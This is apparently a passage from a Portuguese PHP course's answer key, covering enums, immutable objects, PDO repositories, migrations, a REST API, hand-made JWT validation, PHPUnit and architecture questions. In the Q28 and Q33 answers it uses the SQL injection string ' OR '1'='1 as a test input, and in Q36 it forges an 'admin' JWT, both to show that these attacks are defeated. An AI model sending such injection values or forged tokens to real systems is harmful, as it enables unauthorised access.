Escreva `enum StatusPedido: string` com os casos `Novo`, `Pago`, `Enviado`, `Entregue` e `Cancelado`, o método `rotulo()` (texto para a tela) e o método `podeIrPara(self $novo): bool` com as transições permitidas (Novo → Pago ou Cancelado; Pago → Enviado ou Cancelado; Enviado → Entregue). Converta textos vindos de um formulário com `tryFrom`, incluindo um inválido.

```php
<?php
declare(strict_types=1);

enum StatusPedido: string
{
    case Novo = 'novo';
    case Pago = 'pago';
    case Enviado = 'enviado';
    case Entregue = 'entregue';
    case Cancelado = 'cancelado';

    public function rotulo(): string
    {
        return match ($this) {
            self::Novo => 'Aguardando pagamento',
            self::Pago => 'Pagamento confirmado',
            self::Enviado => 'A caminho',
            self::Entregue => 'Entregue',
            self::Cancelado => 'Cancelado',
        };
    }

    public function podeIrPara(self $novo): bool
    {
        return in_array($novo, match ($this) {
            self::Novo => [self::Pago, self::Cancelado],
            self::Pago => [self::Enviado, self::Cancelado],
            self::Enviado => [self::Entregue],
            self::Entregue, self::Cancelado => [],
        }, true);
    }
}

foreach (StatusPedido::cases() as $destino) {
    printf("Pago -> %-9s %s\n", $destino->value, StatusPedido::Pago->podeIrPara($destino) ?
"permitido" : "negado");
}

foreach (['enviado', 'extraviado'] as $doFormulario) {
    $s = StatusPedido::tryFrom($doFormulario);
    echo $doFormulario, ": ", $s?->rotulo() ?? "status desconhecido", "\n";
}
```

Saída

```
Pago -> novo      negado
Pago -> pago      negado
Pago -> enviado   permitido
Pago -> entregue  negado
Pago -> cancelado permitido
enviado: A caminho
extraviado: status desconhecido
```

O `match ($this)` sem braço padrão é **exaustivo** na prática: se um caso novo for acrescentado ao enum e esquecido aqui, a chamada lança `UnhandledMatchError` em vez de devolver algo errado (e analisadores como o PHPStan acusam antes de rodar). O operador `?->` encadeia sobre `null` com segurança, e o `??` dá o texto padrão.

Q25 Objeto imutável com clone with

Escreva `final readonly class Preco` com `centavos` e `moeda`, validação no construtor (não negativo, moeda de 3 letras maiúsculas) e os métodos `comDesconto(int $percentual): static`, usando o `clone` com propriedades do PHP 8.5, e `formatado()`. Mostre que o original não muda e que a validação continua valendo.

```
<?php
declare(strict_types=1);

final readonly class Preco
{
    public function __construct(public int $centavos, public string $moeda = 'BRL')
    {
        if ($centavos < 0) {
            throw new InvalidArgumentException("preço negativo: $centavos");
        }
        if (!preg_match('/^[A-Z]{3}$/', $moeda)) {
            throw new InvalidArgumentException("moeda inválida: $moeda");
        }
    }

    public function comDesconto(int $percentual): static
    {
        return clone($this, ['centavos' => intdiv($this->centavos * (100 - $percentual), 100)]);
    }

    public function formatado(): string
    {
        return $this->moeda . ' ' . number_format($this->centavos / 100, 2, ',', '.');
    }
}

$cheio = new Preco(4990);
$promo = $cheio->comDesconto(20);
echo $cheio->formatado(), " -> ", $promo->formatado(), "\n";

try {
    $cheio->centavos = 1;
} catch (Error $e) {
    echo get_class($e), ": ", $e->getMessage(), "\n";
}
try {
    new Preco(100, 'real');
} catch (InvalidArgumentException $e) {
    echo "recusado: ", $e->getMessage(), "\n";
}
```

Saída

```
BRL 49,90 -> BRL 39,92
Error: Cannot modify readonly property Preco::$centavos
recusado: moeda inválida: real
```

O `clone($this, [...])` cria a cópia já com o novo valor, inclusive numa propriedade `readonly`, que um `clone` seguido de atribuição não permitiria. Atenção: ele **não** passa pelo construtor, então a validação dele não roda na cópia. Aqui não há risco, porque um desconto de 0 a 100% nunca deixa o preço negativo; com regras mais delicadas, o `comDesconto` deve chamar `new static(...)`. O `intdiv` mantém os centavos inteiros: com `float`, 4990 × 0,8 já dá 3992,0000000000005.

Q26 Iteradores e Countable

Escreva `final class Carrinho implements IteratorAggregate, Countable` que guarde itens (título e quantidade), possa ser percorrido com `foreach` por meio de um gerador (`yield`) e contado com `count()`. Acrescente um método gerador `itensAcimaDe(int $qtd)` e mostre que nada é calculado até o `foreach` pedir.

```php
<?php
declare(strict_types=1);

final class Carrinho implements IteratorAggregate, Countable
{
    /** @var array<string, int> */
    private array $itens = [];

    public function adicionar(string $titulo, int $qtd = 1): void
    {
        $this->itens[$titulo] = ($this->itens[$titulo] ?? 0) + $qtd;
    }

    public function getIterator(): Generator
    {
        yield from $this->itens;
    }

    public function count(): int
    {
        return array_sum($this->itens);
    }

    public function itensAcimaDe(int $qtd): Generator
    {
        foreach ($this->itens as $titulo => $q) {
            echo "  (examinando $titulo)\n";
            if ($q > $qtd) {
                yield $titulo => $q;
            }
        }
    }
}

$c = new Carrinho();
$c->adicionar("Vidas Secas");
$c->adicionar("Iracema", 3);
$c->adicionar("Vidas Secas", 2);

foreach ($c as $titulo => $qtd) {
    echo "$titulo: $qtd\n";
}
echo "total de exemplares: ", count($c), "\n";

$gerador = $c->itensAcimaDe(2);
echo "gerador criado, nada examinado ainda\n";
foreach ($gerador as $titulo => $qtd) {
    echo "acima de 2: $titulo ($qtd)\n";
    break;  // parou no primeiro: o resto nunca é examinado
}
```

Saída

```
Vidas Secas: 3
Iracema: 3
total de exemplares: 6
gerador criado, nada examinado ainda
  (examinando Vidas Secas)
acima de 2: Vidas Secas (3)
```

Implementar as interfaces da SPL faz um objeto se comportar como os tipos nativos: `foreach` e `count()` funcionam nele. Um método com `yield` não executa nada quando chamado; devolve um `Generator`, que roda o corpo aos poucos, a cada pedido do `foreach`. Com o `break`, o segundo item nem é examinado. É o mesmo mecanismo que permite ler um arquivo de 2 GB linha a linha sem carregá-lo na memória.

Q27 Traits com conflito e método abstrato

Duas traits, `Registravel` e `Notificavel`, têm um método `enviar()`. Use as duas na classe `Pedido`, resolvendo o conflito com `insteadof` e `as`. Faça uma das traits exigir, por um método abstrato, que a classe tenha `identificador(): string`.

```php
<?php
declare(strict_types=1);

trait Registravel
{
    abstract public function identificador(): string;  // quem usa a trait precisa fornecer

    public function enviar(): string
    {
        return "log: " . $this->identificador() . " registrado";
    }
}

trait Notificavel
{
    public function enviar(): string
    {
        return "e-mail: aviso enviado";
    }
}

final class Pedido
{
    use Registravel, Notificavel {
        Registravel::enviar insteadof Notificavel;  // enviar() é o da Registravel
        Notificavel::enviar as notificar;           // o outro continua disponível com outro nome
    }

    public function __construct(private int $id) {}

    public function identificador(): string
    {
        return "pedido #{$this->id}";
    }
}

$p = new Pedido(42);
echo $p->enviar(), "\n";
echo $p->notificar(), "\n";
```

Saída

```
log: pedido #42 registrado
e-mail: aviso enviado
```

Sem o bloco `insteadof`, o PHP recusa a classe com um erro fatal: ele não escolhe sozinho entre dois métodos de mesmo nome. O método abstrato numa trait é a forma de declarar uma dependência dela: sem `identificador()`, a classe nem compila. Mesmo assim, o exemplo mostra o limite das traits: o nome `enviar` não diz nada, e a solução mais clara seria compor objetos (`Logger` e `Notificador`) em vez de misturar comportamentos.

MÓDULO 4

Banco de dados, APIs e testes

PDO, prepared statements e o padrão Repository, query builder e migrations, Eloquent, APIs REST, autenticação JWT e testes com PHPUnit.

Artigos 20 a 25

#20 PDO Avançado, Prepared Statements e Padrão Repository
#21 Query Builder e Migrations
#22 ORM com Eloquent
#23 APIs REST com PHP
#24 Autenticação JWT
#25 Testes Automatizados com PHPUnit

Perguntas conceituais — respostas

Q28 Prepared statements

Explique por que um prepared statement impede SQL injection mesmo quando o valor contém aspas. A opção `PDO::ATTR_EMULATE_PREPARES` muda essa garantia?

No *prepared statement*, o comando (`SELECT * FROM livros WHERE autor = ?`) e os valores são enviados **separadamente**: o banco analisa e planeja o comando antes de conhecer os valores, que entram depois como dados, nunca como SQL. Um valor `' OR '1'='1` é procurado literalmente como nome de autor. Com `ATTR_EMULATE_PREPARES` ligado (o padrão do driver MySQL), o PDO monta o comando no lado do PHP, escapando os valores com as regras do conjunto de caracteres da conexão. Continua seguro **desde que** o *charset* esteja na DSN (`charset=utf8mb4`), e não definido depois com `SET NAMES`. Desligar a emulação usa os *prepared statements* nativos do servidor e devolve números com o tipo certo, em vez de strings.

Q29 Repository

O que o padrão Repository esconde do resto da aplicação? Por que o método `LivroRepository::buscarPorAutor(string $autor): array` é melhor do que espalhar o SQL pelos controladores?

O Repository esconde **como** os objetos são guardados e recuperados: SQL, tabelas, *joins*, conversão de linha para objeto. O resto da aplicação pede coleções de objetos do domínio, numa linguagem do negócio (`buscarPorAutor`). Com o SQL espalhado, mudar uma coluna exige caçar todas as consultas; a mesma consulta aparece repetida com pequenas diferenças; e testar um controlador exige um banco. Com o Repository, há um lugar só para cada consulta, e uma interface (`LivroRepositoryInterface`) permite trocar a implementação por uma em memória nos testes. É exatamente o que este site faz em `app/Repositories/`.

Q30 Migrations

Por que um projeto versiona as mudanças de esquema como migrations numeradas, em vez de manter só um `schema.sql` atualizado à mão? O que uma tabela de controle registra?

O `schema.sql` descreve o **estado final**, mas um banco em produção já tem dados e está num estado **anterior**: para chegar ao novo, é preciso saber exatamente quais alterações faltam aplicar. As *migrations* são passos ordenados (`007_cria_downloads.sql`, `008_adiciona_slug.sql`), versionados junto com o código: cada ambiente (a máquina de cada desenvolvedor, o CI, a produção) aplica os que ainda não aplicou, na mesma ordem, e todos chegam ao mesmo esquema. A tabela de controle (`migrations`) registra quais já foram aplicadas e quando. Uma migration já aplicada em produção **nunca** é editada: corrige-se com uma nova.

Q31 Status HTTP de uma API

> *Que código HTTP a API da livraria deve devolver em cada caso, e por quê? (a) livro criado; (b) livro removido; (c) JSON malformado no corpo; (d) campos válidos como JSON, mas preço negativo; (e) token ausente; (f) token válido de um usuário sem permissão; (g) livro inexistente.*

- (a) **201 Created**, com o cabeçalho `Location` apontando para o novo recurso.
- (b) **204 No Content**: deu certo e não há corpo a devolver.
- (c) **400 Bad Request**: a requisição nem pôde ser entendida.
- (d) **422 Unprocessable Content**: a requisição foi entendida, mas viola as regras (muitas APIs usam 400 para os dois casos, o que também é aceitável, se for consistente).
- (e) **401 Unauthorized**: "não sei quem você é" (o nome é histórico: significa *não autenticado*).
- (f) **403 Forbidden**: "sei quem você é, e você não pode".
- (g) **404 Not Found**.

Devolver 200 com `{"erro": ...}` no corpo quebra *proxies*, caches, monitoramento e clientes, que olham o código para decidir o que fazer.

Q32 Onde guardar o JWT no navegador

> *Uma SPA recebe um JWT após o login. Compare guardá-lo no `localStorage` e num cookie `HttpOnly; Secure; SameSite=Strict`, quanto a XSS e CSRF.*

- ** `localStorage` **: qualquer JavaScript da página consegue lê-lo. Uma falha de** XSS** (um script injetado) rouba o *token* e o envia para o atacante, que passa a agir como o usuário de qualquer lugar, até o *token* expirar. Em compensação, não há CSRF: o navegador não envia o `localStorage` sozinho.
- **Cookie `HttpOnly` : o JavaScript** não **consegue lê-lo, e o XSS não o rouba (embora ainda possa fazer requisições em nome do usuário enquanto a página estiver aberta). Como o navegador envia o *cookie* sozinho, volta o risco de** CSRF**, que o `SameSite=Strict` (ou `Lax`) e um *token antiforgery* resolvem.

Para aplicações web, o *cookie* `HttpOnly` é a opção mais segura. Em qualquer caso, *tokens* de curta duração limitam o estrago.

Exercícios de código — respostas

Q33 PDO com SQLite e um Repository

Crie um banco SQLite em memória com a tabela `livros`, um `final readonly class Livro` e um `LivroRepository` com `salvar(Livro): int` (devolve o id), `buscarPorId(int): ?Livro` e `buscarPorAutor(string): array`, usando prepared statements e `FETCH_ASSOC`. Mostre que um nome de autor com aspas não quebra a consulta.

```php
<?php
declare(strict_types=1);

final readonly class Livro
{
    public function __construct(public ?int $id, public string $titulo, public string $autor,
public int $precoCentavos) {}
}

final class LivroRepository
{
    public function __construct(private PDO $pdo) {}

    public function salvar(Livro $l): int
    {
        $st = $this->pdo->prepare("INSERT INTO livros (titulo, autor, preco_centavos) VALUES
(:titulo, :autor, :preco)");
        $st->execute(["titulo" => $l->titulo, "autor" => $l->autor, "preco" => $l-
>precoCentavos]);
        return (int) $this->pdo->lastInsertId();
    }

    public function buscarPorId(int $id): ?Livro
    {
        $st = $this->pdo->prepare("SELECT * FROM livros WHERE id = ?");
        $st->execute([$id]);
        $linha = $st->fetch();
        return $linha ? $this->hidratar($linha) : null;
    }

    /** @return list<Livro> */
    public function buscarPorAutor(string $autor): array
    {
        $st = $this->pdo->prepare("SELECT * FROM livros WHERE autor = ? ORDER BY titulo");
        $st->execute([$autor]);
        return array_map($this->hidratar(...), $st->fetchAll());
    }

    private function hidratar(array $l): Livro
    {
        return new Livro((int) $l["id"], $l["titulo"], $l["autor"], (int) $l["preco_centavos"]);
    }
}

$pdo = new PDO("sqlite::memory:", options: [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
]);
$pdo->exec("CREATE TABLE livros (id INTEGER PRIMARY KEY, titulo TEXT NOT NULL, autor TEXT NOT
NULL, preco_centavos INTEGER NOT NULL)");

$repo = new LivroRepository($pdo);
$id = $repo->salvar(new Livro(null, "Dom Casmurro", "Machado de Assis", 3500));
```

```php
$repo->salvar(new Livro(null, "Quincas Borba", "Machado de Assis", 3800));
$repo->salvar(new Livro(null, "O Auto da Barca", "Gil Vicente d'Ouro", 2000));

echo "id $id: ", $repo->buscarPorId($id)?->titulo, "\n";
echo "id 99: ", $repo->buscarPorId(99)?->titulo ?? "não encontrado", "\n";
foreach ($repo->buscarPorAutor("Machado de Assis") as $l) {
    echo "Machado: {$l->titulo}\n";
}
echo "Com aspas: ", count($repo->buscarPorAutor("Gil Vicente d'Ouro")), " livro(s)\n";
echo "Injeção: ", count($repo->buscarPorAutor("' OR '1'='1")), " livro(s)\n";
```

Saída

```
id 1: Dom Casmurro
id 99: não encontrado
Machado: Dom Casmurro
Machado: Quincas Borba
Com aspas: 1 livro(s)
Injeção: 0 livro(s)
```

O `ERRMODE_EXCEPTION` (padrão desde o PHP 8) faz qualquer erro de SQL lançar `PDOException`, em vez de devolver `false` em silêncio. A "injeção" devolve 0 livros: o texto foi procurado como nome de autor. O `$this->hidratar(...)` é a sintaxe de *callable* de primeira classe (PHP 8.1), mais segura que a string `"hidratar"`, porque o nome é conferido pelo PHP. Para trocar o SQLite pelo MySQL, muda só a DSN e o tipo da chave primária no `CREATE TABLE`.

Q34 Um executor de migrations

> *Escreva um executor de migrations que, dado um array de migrations nomeadas (`"001_cria_livros" => "CREATE TABLE ..."`), crie a tabela de controle se não existir, aplique **só as pendentes**, em ordem, cada uma numa transação, e registre o nome e a data. Rode-o duas vezes e mostre que a segunda não faz nada. Depois inclua uma migration com erro e mostre que ela não deixa o banco pela metade.*

```php
<?php
declare(strict_types=1);

function migrar(PDO $pdo, array $migrations): void
{
    $pdo->exec("CREATE TABLE IF NOT EXISTS migrations (nome TEXT PRIMARY KEY, aplicada_em TEXT
NOT NULL)");
    $aplicadas = $pdo->query("SELECT nome FROM migrations")->fetchAll(PDO::FETCH_COLUMN);
    ksort($migrations);  // a ordem vem do prefixo numérico do nome

    foreach ($migrations as $nome => $sql) {
        if (in_array($nome, $aplicadas, true)) {
            continue;
        }
        $pdo->beginTransaction();
        try {
            $pdo->exec($sql);
            $pdo->prepare("INSERT INTO migrations VALUES (?, ?)")->execute([$nome, "2026-10-
20"]);
            $pdo->commit();
            echo "  aplicada: $nome\n";
        } catch (PDOException $e) {
            $pdo->rollBack();
            echo "  FALHOU: $nome ({$e->getMessage()}); nada dela ficou no banco\n";
            return;  // as seguintes podem depender desta: para aqui
        }
    }
}

$pdo = new PDO("sqlite::memory:", options: [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]);
$migrations = [
    "002_adiciona_isbn" => "ALTER TABLE livros ADD COLUMN isbn TEXT",
    "001_cria_livros" => "CREATE TABLE livros (id INTEGER PRIMARY KEY, titulo TEXT NOT NULL)",
];

echo "primeira execução:\n";
migrar($pdo, $migrations);
echo "segunda execução:\n";
migrar($pdo, $migrations);
echo "  (nada pendente)\n";

$migrations["003_cria_autores"] = "CREATE TABLE autores (id INTEGER PRIMARY KEY); INSERT INTO
tabela_que_nao_existe VALUES (1);";
echo "terceira execução:\n";
migrar($pdo, $migrations);

$tabelas = $pdo->query("SELECT name FROM sqlite_master WHERE type = 'table' ORDER BY name")-
>fetchAll(PDO::FETCH_COLUMN);
echo "tabelas: ", implode(", ", $tabelas), "\n";
```

Saída

```
primeira execução:
  aplicada: 001_cria_livros
  aplicada: 002_adiciona_isbn
segunda execução:
  (nada pendente)
terceira execução:
  FALHOU: 003_cria_autores (SQLSTATE[HY000]: General error: 1 no such table:
tabela_que_nao_existe); nada dela ficou no banco
tabelas: livros, migrations
```

A tabela `autores` **não** existe no fim: o `CREATE TABLE` dela rodou, mas o `rollBack` o desfez junto com o `INSERT` que falhou. O SQLite e o PostgreSQL têm DDL transacional; o **MySQL não**: lá, cada `CREATE` e `ALTER` confirma a transação sozinho (*implicit commit*), e uma *migration* que falha no meio deixa o banco pela metade. Por isso, no MySQL, cada *migration* deve fazer uma única alteração de esquema.

Q35 Uma API REST com o servidor embutido

Escreva `api.php`, um roteador para o servidor embutido do PHP (`php -S`) com `GET /livros`, `GET /livros/{id}` (404 quando não existe) e `POST /livros` (201 com `Location`, ou 422 com os erros de validação, ou 400 para JSON malformado), guardando os livros num arquivo JSON. Teste com `curl`.

`api.php`:

```
<?php
declare(strict_types=1);

const ARQUIVO = __DIR__ . '/livros.json';

function responder(int $status, mixed $corpo = null, array $cabecalhos = []): never
{
    http_response_code($status);
    header('Content-Type: application/json; charset=utf-8');
    foreach ($cabecalhos as $nome => $valor) {
        header("$nome: $valor");
    }
    if ($corpo !== null) {
        echo json_encode($corpo, JSON_UNESCAPED_UNICODE);
    }
    exit;
}

$livros = is_file(ARQUIVO) ? json_decode(file_get_contents(ARQUIVO), true) : [];
$metodo = $_SERVER['REQUEST_METHOD'];
$caminho = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);

if ($metodo === 'GET' && $caminho === '/livros') {
    responder(200, array_values($livros));
}

if ($metodo === 'GET' && preg_match('#^/livros/(\d+)$#', $caminho, $m)) {
    $livro = $livros[$m[1]] ?? null;
    $livro ? responder(200, $livro) : responder(404, ['erro' => 'livro não encontrado']);
}

if ($metodo === 'POST' && $caminho === '/livros') {
    try {
        $dados = json_decode(file_get_contents('php://input'), true, flags: JSON_THROW_ON_ERROR);
    } catch (JsonException) {
        responder(400, ['erro' => 'JSON malformado']);
    }
    $erros = [];
    if (!is_string($dados['titulo'] ?? null) || trim($dados['titulo']) === '') {
        $erros['titulo'] = 'obrigatório';
    }
    if (!is_int($dados['precoCentavos'] ?? null) || $dados['precoCentavos'] <= 0) {
        $erros['precoCentavos'] = 'inteiro positivo';
    }
    if ($erros) {
        responder(422, ['erros' => $erros]);
    }
    $id = $livros ? max(array_keys($livros)) + 1 : 1;
    $livros[$id] = ['id' => $id, 'titulo' => trim($dados['titulo']), 'precoCentavos' =>
$dados['precoCentavos']];
    file_put_contents(ARQUIVO, json_encode($livros, JSON_UNESCAPED_UNICODE), LOCK_EX);
```

```
    responder(201, $livros[$id], ['Location' => "/livros/$id"]);
}

responder(404, ['erro' => 'rota não encontrada']);
```

```
php -S 127.0.0.1:8791 api.php >/dev/null 2>&1 &
servidor=$!
sleep 1
url=http://127.0.0.1:8791
pedir() { curl -s -w "  -> %{http_code}\n" "$@"; }

pedir -X POST -d '{"titulo": "Vidas Secas", "precoCentavos": 4990}' $url/livros
curl -s -o /dev/null -D - -X POST -d '{"titulo": "Iracema", "precoCentavos": 2500}' $url/livros |
grep -i '^location'
pedir -X POST -d '{"titulo": "", "precoCentavos": -1}' $url/livros
pedir -X POST -d '{"titulo": ' $url/livros
pedir $url/livros
pedir $url/livros/2
pedir $url/livros/99
kill $servidor
```

Saída

```
{"id":1,"titulo":"Vidas Secas","precoCentavos":4990}  -> 201
Location: /livros/2
{"erros":{"titulo":"obrigatório","precoCentavos":"inteiro positivo"}}  -> 422
{"erro":"JSON malformado"}  -> 400
[{"id":1,"titulo":"Vidas Secas","precoCentavos":4990},
{"id":2,"titulo":"Iracema","precoCentavos":2500}]  -> 200
{"id":2,"titulo":"Iracema","precoCentavos":2500}  -> 200
{"erro":"livro não encontrado"}  -> 404
```

O tipo de retorno `never` (PHP 8.1) documenta que `responder` não volta: ela sempre termina com `exit`, o que dispensa os `return` depois de cada chamada. O `JSON_UNESCAPED_UNICODE` grava "Iracema" e os acentos como estão, em vez de `\u00e7`. O `LOCK_EX` evita que duas requisições simultâneas misturem as gravações, mas ainda há corrida entre ler e gravar o arquivo (as duas leem, as duas gravam, uma inclusão se perde): é aqui que um banco de dados com transações deixa de ser opcional. O servidor embutido é só para desenvolvimento: atende uma requisição por vez.

Q36 JWT feito à mão

Para entender o formato, implemente `jwt_criar(array $claims, string $segredo): string` e `jwt_validar(string $token, string $segredo, int $agora): array` com HS256, usando `hash_hmac` e Base64Url. A validação deve recusar assinatura inválida, token expirado (`exp`) e algoritmo diferente de HS256. Teste um token válido, um alterado e um expirado. (Em produção, use uma biblioteca como `firebase/php-jwt`.)

```php
<?php
declare(strict_types=1);

function b64url(string $s): string { return rtrim(strtr(base64_encode($s), '+/', '-_'), '='); }
function b64url_dec(string $s): string { return base64_decode(strtr($s, '-_', '+/'), true) ?: '';
}

function jwt_criar(array $claims, string $segredo): string
{
    $cab = b64url(json_encode(['alg' => 'HS256', 'typ' => 'JWT']));
    $corpo = b64url(json_encode($claims));
    $assinatura = b64url(hash_hmac('sha256', "$cab.$corpo", $segredo, true));
    return "$cab.$corpo.$assinatura";
}

function jwt_validar(string $token, string $segredo, int $agora): array
{
    $partes = explode('.', $token);
    if (count($partes) !== 3) {
        throw new UnexpectedValueException('formato inválido');
    }
    [$cab, $corpo, $assinatura] = $partes;
    $cabecalho = json_decode(b64url_dec($cab), true);
    if (($cabecalho['alg'] ?? null) !== 'HS256') {
        throw new UnexpectedValueException('algoritmo não aceito');  // nunca confie no "alg" do
token
    }
    $esperada = b64url(hash_hmac('sha256', "$cab.$corpo", $segredo, true));
    if (!hash_equals($esperada, $assinatura)) {
        throw new UnexpectedValueException('assinatura inválida');
    }
    $claims = json_decode(b64url_dec($corpo), true);
    if (($claims['exp'] ?? 0) <= $agora) {
        throw new UnexpectedValueException('token expirado');
    }
    return $claims;
}

$segredo = 'troque-por-um-segredo-longo-e-aleatorio';
$agora = 1_790_000_000;
$token = jwt_criar(['sub' => '42', 'role' => 'editor', 'exp' => $agora + 900], $segredo);
echo "token: ", substr($token, 0, 40), "...\n";
echo "payload legível por qualquer um: ", b64url_dec(explode('.', $token)[1]), "\n";

[$c, , $s] = explode('.', $token);
$adulterado = "$c." . b64url(json_encode(['sub' => '42', 'role' => 'admin', 'exp' => $agora +
900])) . ".$s";

foreach (['válido' => [$token, $agora], 'adulterado' => [$adulterado, $agora], 'depois de 15 min'
=> [$token, $agora + 901]] as $caso => [$t, $quando]) {
    try {
        $claims = jwt_validar($t, $segredo, $quando);
        echo "$caso: ok, usuário {$claims['sub']} ({$claims['role']})\n";
```

```
    } catch (UnexpectedValueException $e) {
        echo "$caso: recusado, {$e->getMessage()}\n";
    }
}
```

Saída

```
token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ...
payload legível por qualquer um: {"sub":"42","role":"editor","exp":1790000900}
válido: ok, usuário 42 (editor)
adulterado: recusado, assinatura inválida
depois de 15 min: recusado, token expirado
```

A segunda linha da saída é o ponto principal: o *payload* é só Base64, e qualquer um o lê. O atacante pode até trocar `editor` por `admin`, mas não consegue refazer a assinatura sem o segredo. O `hash_equals` compara em tempo constante, sem dar pistas por diferença de tempo. Conferir o `alg` evita um ataque clássico: *tokens* com `"alg": "none"`, que bibliotecas antigas aceitavam sem assinatura. O "agora" é parâmetro pelo mesmo motivo da trait de *timestamps*: com `time()` dentro da função, o teste de expiração dependeria do relógio.

Q37 Testes com PHPUnit

Escreva, como projeto com Composer e PHPUnit 12, testes para a classe `Conta` do módulo 2: um teste do depósito, um teste que espera a exceção do saque acima do saldo e um teste com data provider (atributo `#[DataProvider]`) para valores inválidos de depósito.

```php
<?php
declare(strict_types=1);

use PHPUnit\Framework\Attributes\DataProvider;
use PHPUnit\Framework\Attributes\Test;
use PHPUnit\Framework\TestCase;

final class ContaTest extends TestCase
{
    #[Test]
    public function deposito_aumenta_o_saldo(): void
    {
        $conta = new Conta('Ana');

        $conta->depositar(1_000);

        self::assertSame(1_000, $conta->saldoCentavos);
    }

    #[Test]
    public function saque_acima_do_saldo_e_recusado(): void
    {
        $conta = new Conta('Ana');
        $conta->depositar(500);

        $this->expectException(DomainException::class);
        $this->expectExceptionMessage('saldo insuficiente');

        $conta->sacar(501);
    }

    #[Test]
    #[DataProvider('depositosInvalidos')]
    public function deposito_nao_positivo_e_recusado(int $valor): void
    {
        $this->expectException(InvalidArgumentException::class);

        (new Conta('Ana'))->depositar($valor);
    }

    public static function depositosInvalidos(): iterable
    {
        yield 'zero' => [0];
        yield 'negativo' => [-1];
        yield 'muito negativo' => [PHP_INT_MIN];
    }
}
```

Instale com `composer require --dev phpunit/phpunit:^12` e rode com `vendor/bin/phpunit tests`. Com a classe `Conta` em `src/Conta.php`, carregada pelo *autoload* do Composer (`"autoload": {"classmap": ["src/"]}`), os cinco testes passam (três casos do *data provider* mais os dois testes simples; conferido com o PHPUnit 12.5). O nome de cada caso (`'zero'`, `'negativo'`) aparece no relatório quando um deles falha, o

que vale mais que um índice numérico. O `expectException` precisa vir **antes** da linha que lança: depois dela, o teste já teria sido interrompido. No PHPUnit 10 em diante, *data providers* precisam ser `public static`, e as anotações em comentário (`@dataProvider`) deram lugar aos atributos.

MÓDULO 5

Arquitetura e escala

SOLID na prática, Clean Architecture, Domain-Driven Design, filas e jobs assíncronos e cache com Redis.

Artigos 26 a 30

#26 SOLID na Prática
#27 Clean Architecture com PHP
#28 Domain-Driven Design
#29 Filas e Jobs Assíncronos
#30 Cache Avançado com Redis

Perguntas conceituais — respostas

Q38 Uma responsabilidade

Esta classe tem quantas responsabilidades, segundo o princípio da responsabilidade única (SRP)? Como dividi-la?

```
class PedidoService {
    public function finalizar(array $dados) {
        // valida os dados, calcula o total com desconto e frete,
        // grava no MySQL, gera o PDF da nota e envia o e-mail
    }
}
```

O SRP diz que uma classe deve ter **um motivo para mudar**. Aqui há pelo menos cinco: as regras de validação, as regras de preço (desconto e frete), a persistência (o MySQL), o formato da nota e o envio de e-mail. Uma mudança no layout da nota mexe na mesma classe que calcula o frete, e testar o desconto exige banco e servidor de e-mail. Divisão: `CalculadoraDePreco` (regras puras, fácil de testar), `PedidoRepository` (persistência), `GeradorDeNota` e `Notificador` (por interface, para trocar o e-mail por SMS). O `FinalizarPedido` passa a **orquestrar** esses colaboradores, recebidos pelo construtor, sem implementar nenhum deles.

Q39 Inversão de dependência

O princípio da inversão de dependência (o "D" do SOLID) diz que módulos de alto nível não devem depender de módulos de baixo nível, mas de abstrações. Mostre o antes e o depois com um `RelatorioDeVendas` que hoje faz `new MySqlVendas()` dentro do construtor.

Antes, a regra de negócio (alto nível) depende do detalhe (baixo nível):

```
class RelatorioDeVendas {
    private MySqlVendas $vendas;
    public function __construct() { $this->vendas = new MySqlVendas(); }
}
```

Depois, os dois dependem de uma abstração, que pertence ao lado do negócio:

```
interface FonteDeVendas { public function doMes(int $ano, int $mes): array; }

final class RelatorioDeVendas {
    public function __construct(private FonteDeVendas $vendas) {}
}

final class MySqlVendas implements FonteDeVendas { /* ... */ }
```

O relatório pode ser testado com uma `FonteDeVendas` em memória, e trocar o MySQL pelo PostgreSQL (ou por uma API) não toca nele. Quem decide qual implementação usar é a "raiz de composição" da aplicação: o `bootstrap`, o contêiner de dependências.

Q40 Entidade, objeto de valor e agregado

> *No DDD, qual a diferença entre uma **entidade** e um **objeto de valor**? O que é um **agregado**, e por que os itens de um pedido só devem ser alterados por meio do próprio `Pedido`?*

Uma **entidade** tem identidade que persiste ao longo do tempo, mesmo que os dados mudem: o pedido 123 continua sendo o 123 depois de pago. Um **objeto de valor** é definido só pelos seus atributos, é imutável e substituível: dois `Preco(4990, 'BRL')` são o mesmo preço. Um **agregado** é um grupo de objetos tratado como unidade de consistência, com uma entidade **raiz** como única porta de entrada: o `Pedido` e os seus `ItemPedido`. Se o código pudesse alterar um item diretamente, a regra "um pedido pago não muda" ou "o total sempre bate com os itens" poderia ser violada sem o pedido saber. Passando por `$pedido->adicionarItem(...)`, a raiz verifica as regras a cada alteração, e o repositório salva e carrega o agregado inteiro.

Q41 Por que uma fila

> *Ao finalizar o pedido, a loja precisa gerar a nota fiscal (3 s, num serviço externo) e enviar o e-mail (1 s). Por que fazer isso numa fila, processada por um worker, em vez de durante a requisição? O que é uma dead letter queue?*

Na requisição, o cliente esperaria pelo menos 4 s olhando para a tela, e uma falha do serviço de notas (fora do ar, lento) derrubaria a finalização do pedido, que já tinha sido paga. Com a fila, a requisição grava o pedido, enfileira os *jobs* e responde em milissegundos; o *worker* processa no seu ritmo, e uma falha vira uma **nova tentativa**, não um erro para o cliente. Picos de pedidos são absorvidos pela fila, sem derrubar o servidor web. A *dead letter queue* recebe os *jobs* que falharam mais vezes do que o limite: eles saem do fluxo normal para não serem tentados para sempre e ficam guardados para alguém investigar e reprocessar.

Q42 Cache-aside

> *Descreva o padrão cache-aside com Redis para a página de um livro. O que acontece quando o preço muda, e por que o TTL é uma rede de segurança e não a estratégia principal?*

Na leitura: procura `livro:42` no Redis. Se existe (*hit*), usa; se não (*miss*), busca no banco, grava no Redis com um TTL e usa. A aplicação é responsável por encher o cache, daí o nome. Quando o preço muda, o código

que grava no banco **apaga** a chave `livro:42` (é mais seguro apagar que atualizar: a próxima leitura busca o valor certo no banco). O TTL garante que, se algum caminho de escrita esquecer de invalidar, o dado velho tenha prazo para morrer. Mas, contando só com ele, o preço errado aparece até o TTL expirar, o que em loja pode significar vender pelo preço antigo.

Exercícios de código — respostas

Q43 Uma fila de jobs com tentativas

